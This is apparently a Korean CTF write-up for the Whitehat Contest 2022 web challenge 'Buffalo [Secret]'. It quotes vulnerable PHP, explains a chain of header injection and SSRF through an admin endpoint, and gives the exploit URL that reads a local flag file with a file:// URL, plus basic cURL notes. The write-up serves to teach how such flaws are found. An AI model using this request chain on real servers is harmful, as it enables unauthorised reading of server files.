본문 바로가기

웹해킹/CTF

화이트햇 콘테스트 2022 CTF Web Buffalo [Secret]

반응형
더보기

화이트햇 콘테스트 2022 CTF Web Buffalo [Secret]

1. Buffalo [Secret]  Writeup

Buffalo [Secret] Writeup

Description

적국이 암호화페 세탁 목적으로 만든 겜블링 사이트에서 비밀 정보를 탈취하라.

 

 

2022.11.19 - [웹해킹/CTF] - 화이트햇 콘테스트 2022 Web Buffalo[Steal] Writeup

 

 

어제 올린 Buffalo[Steal] 문제를 풀고 flag.php를 통해 찾았으니 이번엔 flag 파일을 찾아야 해결될 것으로 생각했다.

따라서 파일 다운로드 취약점이나 Directory Traversal 취약점 중 하나라고 생각하고 찾았다. 

 

 

slot_reg.php

<?php
define("_BUFFALO_", 1);

include "../__common.php";
include "./_api_common.php";

if($is_admin) {
    $slotid = $USER_DATA["slotid"];
    $reel_blur = $USER_DATA["reel_blur"];
    $reel = $USER_DATA["reel"];
    $slot_name = $USER_DATA["name"];
    $uid = sha1($slotid);

    $bp = "../assets/slot/{$slot_name}-$slotid";

    @mkdir("../assets/slot/{$slot_name}-$slotid/");
    @curl_download($reel_blur, "$bp/$uid-reel_blur.jpg");
    @curl_download($reel, "$bp/$uid-reel_1.jpg");
    @curl_download($reel, "$bp/$uid-reel_2.jpg");
    @curl_download($reel, "$bp/$uid-reel_3.jpg");
    
    success("Success");
}
error("Invalid API call");


function curl_download($url, $output) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    $st = curl_exec($ch);
    $fd = fopen($output, 'w');
    fwrite($fd, $st);
    fclose($fd);

    curl_close($ch);
}

slot 변수 값을 바꿔서 Directory Traversal이 가능할 것으로 보이고, reel 변수 값을 조작하면 file download가 될 것 같아 보인다. curl_download 함수에서 url의 결괏값을 output 파일에 저장하고 있다.  그렇다면 경로 우회를 통해 flag 파일을 읽고, assets/slot/ 경로에 jpg 파일을 생성하여서 해당 파일의 내용을 읽으면 될 것 같다.

 

RETURNTRANSFER : curl_exec()의 반환 값을 문자열로 반환

 

api_common.php

api_common.php

header를 보면 Content-Type이 application/json 이라서 Get 메서드로 받은 데이터를 9번 줄에서 user_data에 합치는 것을 알 수 있다.

 

slot_reg.php

slot_reg.php

 

하지만 Content-Type을 조작하기 위해 header를 조작해야 하는데 slot_reg.php에서 is_admin값을 통해 admin인지 체크하고 있다. is_admin값이 어디에서 왔는지 알기 위해 include 하고 있는 파일을 확인해보니 _common.php에서 찾을 수 있었다.

 

_common.php

_common.php

_common.php를 확인해보니 userid가 admin이고, ip가 127.0.0.1인지 검사해서 true or false값을 저장한다. 관리자로 요청하기 위해서 /admin/reg_slot.php를 사용했다.

 

reg_slot.php

reg_slot.php

/admin/reg_slot.php 경로를 이용하여 headers를 조작할 수 있을 것으로 보인다. headers[Content-Type]=application/json 형태이다.

 

reg_slot.php

그 밑에 Get 메소드로 name을 입력받는데 받을 때 값이 그대로 들어가기 때문에 name을 매개로 해서 조작하는 script를 작성하면 될 것 같다.

 

http://localhost/admin/reg_slot.php?headers[CONTENT-TYPE]=application/json&name=test&slotid=test&reel_blur=file:///flag_SECRET.txt&reel=asdf

 

reg_slot.php

위 코드를 보내기 위해선 #register가 실행되어야 한다. 

 

 

asset/auto_game.js

auto_game.js

4번 줄에서 x에 #이 붙어서 들어가는 게 보인다. 그럼 id값에 register만 입력해주면 headers 값을 조작할 수 있을 것이다.

 

 

http://localhost/admin/reg_slot.php?headers[CONTENT-TYPE]=application/json&name=test&slotid=test&reel_blur=file:///flag_SECRET.txt&reel=test#register

 

FLAG{SECRET-Y0u_kn0w_th3_http_15_tr45h}

 

 


개념 정리

cURL 

: 다양한 프로토콜로 데이터 전송이 가능한 Command Line Tool이다.
 
 
 
bool curl_setopt ( resource $ch , int $option , mixed $value )

curl_setopt : 옵션 세팅 함수

 

 

$text = curl_init();

curl_setopt($text, CURLOPT_URL, $url); // url 연결
curl_setopt($text, CURLOPT_RETURNTRANSFER, TRUE); // 문자열로 리턴
curl_setopt($text, CURLOPT_SSL_VERIFYPEER, FALSE); // SSL 유효성 검사 X

$response = curl_exec($text); // curl 실행
curl_close($text); // curl 종료

return $response;
 
 위 코드는 Get 메소드에서 사용하는 방식이다.
 
 
<?php
$param = array(
	'param1' => 'data1'
);

$url = "https://www.naver.com";

$text = curl_init();
curl_setopt($text, CURLOPT_URL, $url); 
curl_setopt($text, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($text, CURLOPT_SSL_VERIFYPEER, FALSE); 
curl_setopt($text, CURLOPT_POST, TRUE); // POST 방식
curl_setopt($text, CURLOPT_POSTFIELDS, $data); // 전송할 데이터

$res = curl_exec($text); 
curl_close($text); 

return $res;

위 코드는 post 방식으로 통신할 때 사용하는 방법이다.

 

 

 

 

 


참고문헌

https://qjadud22.tistory.com/37

https://domdom2y2.github.io/posts/buffalo-steal-writeup/#buffalo-secret-writeup

https://kimby.tistory.com/13

 

 

 

 

 

 

728x90